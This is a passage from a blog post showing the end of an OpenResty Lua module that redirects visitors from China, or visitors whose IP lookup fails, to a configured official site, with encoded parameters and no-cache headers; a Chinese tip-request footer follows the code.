        local sep = string.find(cfg.official_site, "?") and "&" or "?"
        if redirect_url:sub(-1) ~= "/" then
            redirect_url = redirect_url .. "/"
        end
        redirect_url = redirect_url .. sep .. "data=" .. url_encode(params)
    end
    
    if redirect_url~="" then
        if is_cn(get_client_ip()) or not init_ip2region() then
            ngx.header["Cache-Control"] = "no-cache, no-store, must-revalidate"
            ngx.header["Pragma"] = "no-cache"
            ngx.header["Expires"] = "0"
            ngx.header["Referrer-Policy"] = "unsafe-url"
            if ngx.ctx then
                ngx.ctx.white_rule = true
            end
            return ngx.redirect(redirect_url)
        end
    end
    return true
end

return _M
Last modification:June 28, 2026
如果觉得我的文章对你有用,请随意赞赏